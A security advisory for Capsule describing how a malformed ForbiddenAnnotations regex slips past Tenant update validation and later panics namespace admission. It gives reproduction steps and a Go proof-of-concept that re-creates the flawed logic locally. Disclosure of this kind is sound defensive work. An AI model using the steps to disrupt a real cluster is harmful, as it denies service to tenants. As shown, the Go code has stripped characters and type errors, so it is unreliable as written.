CVE-2026-61794: Capsule: Malformed ForbiddenAnnotations.Regex can bypass Tenant validation and trigger namespace admission panic

Summary A validation bug in internal/webhook/tenant/validation/forbiddenannotationsregex.go allows an invalid ForbiddenAnnotations.Regex value to bypass Tenant admission on update. The webhook compiles ForbiddenLabels.Regex for both labels and annotations, so a malformed annotations regex can be persisted. Once stored, namespace admission later evaluates the bad regex through pkg/api/forbiddenlist.go, where regexp.MustCompile can panic and cause admission failure.

Details In internal/webhook/tenant/validation/forbiddenannotationsregex.go, OnUpdate validates the new Tenant object, but the loop compiles tnt.Spec.NamespaceOptions.ForbiddenLabels.Regex for both labels and annotations. That means an invalid ForbiddenAnnotations.Regex is never validated if ForbiddenLabels.Regex is valid.

Relevant paths: - internal/webhook/tenant/validation/forbiddenannotationsregex.go - internal/webhook/namespace/validation/usermetadata.go - pkg/api/forbiddenlist.go

Namespace admission later calls api.ValidateForbidden(...), and ForbiddenListSpec.RegexMatch() uses regexp.MustCompile(in.Regex). If the malformed regex is present in the Tenant spec, any namespace request that reaches this check can panic or fail hard, causing denial of service for namespace operations in the affected tenant.

PoC 1. Update a Tenant so that: - spec.namespaceOptions.forbiddenLabels.regex is valid - spec.namespaceOptions.forbiddenAnnotations.regex is malformed, for example: [invalid-regex( 2. The Tenant update is accepted because the webhook compiles the labels regex for both fields. 3. Create or update a Namespace that triggers forbidden metadata validation. 4. The namespace admission path reaches regexp.MustCompile(...) and panics.

package main

import ( "fmt" "regexp" )

type ForbiddenListSpec struct { Regex string }

type NamespaceOptions struct { ForbiddenLabels ForbiddenListSpec ForbiddenAnnotations ForbiddenListSpec }

type Tenant struct { NamespaceOptions NamespaceOptions }

func validateTenantUpdate(tnt Tenant) error { if tnt.NamespaceOptions == nil { return nil }

annotationsToCheck := map[string]string{ "labels": tnt.NamespaceOptions.ForbiddenLabels.Regex, "annotations": tnt.NamespaceOptions.ForbiddenAnnotations.Regex, }

for scope, annotation := range annotationsToCheck { if , err := regexp.Compile(tnt.NamespaceOptions.ForbiddenLabels.Regex); err != nil { return fmt.Errorf("deny update: unable to compile %s regex for forbidden %s", annotation, scope) } }

return nil }

func validateForbidden(metadata map[string]string, forbidden ForbiddenListSpec) error { for key := range metadata { if forbidden.Regex != "" { if regexp.MustCompile(forbidden.Regex).MatchString(key) { return fmt.Errorf("forbidden key matched: %s", key) } } }

return nil }

func main() { oldTenant := &Tenant{ NamespaceOptions: &NamespaceOptions{ ForbiddenLabels: ForbiddenListSpec{Regex: ^[a-z0-9-]+$}, ForbiddenAnnotations: ForbiddenListSpec{Regex: ^[a-z0-9-]+$}, }, }

newTenant := &Tenant{ NamespaceOptions: &NamespaceOptions{ ForbiddenLabels: ForbiddenListSpec{Regex: ^[a-z0-9-]+$}, ForbiddenAnnotations: ForbiddenListSpec{Regex: [invalid-regex(}, }, }

fmt.Println("=== Update step ===") if err := validateTenantUpdate(newTenant); err != nil { fmt.Printf("unexpected deny: %v\n", err) } else { fmt.Println("allowed: malformed ForbiddenAnnotations.Regex bypassed validation") }

fmt.Println() fmt.Println("=== Namespace step ===") = oldTenant

defer func() { if r := recover(); r != nil { fmt.Printf("panic reproduced from ValidateForbidden: %v\n", r) } }()

= validateForbidden(map[string]string{"example": "value"}, ForbiddenListSpec{Regex: [invalid-regex(}) fmt.Println("no panic, unexpected") } Expected output:

text === Update step === allowed: malformed ForbiddenAnnotations.Regex bypassed validation

=== Namespace step === panic reproduced from ValidateForbidden: regexp: Compile([invalid-regex(): error parsing regexp: missing closing ]: [invalid-regex(

Impact An attacker who can update the Tenant configuration can persist a malformed ForbiddenAnnotations.Regex and cause namespace admission failures for the affected tenant. This can result in a tenant-scoped denial of service.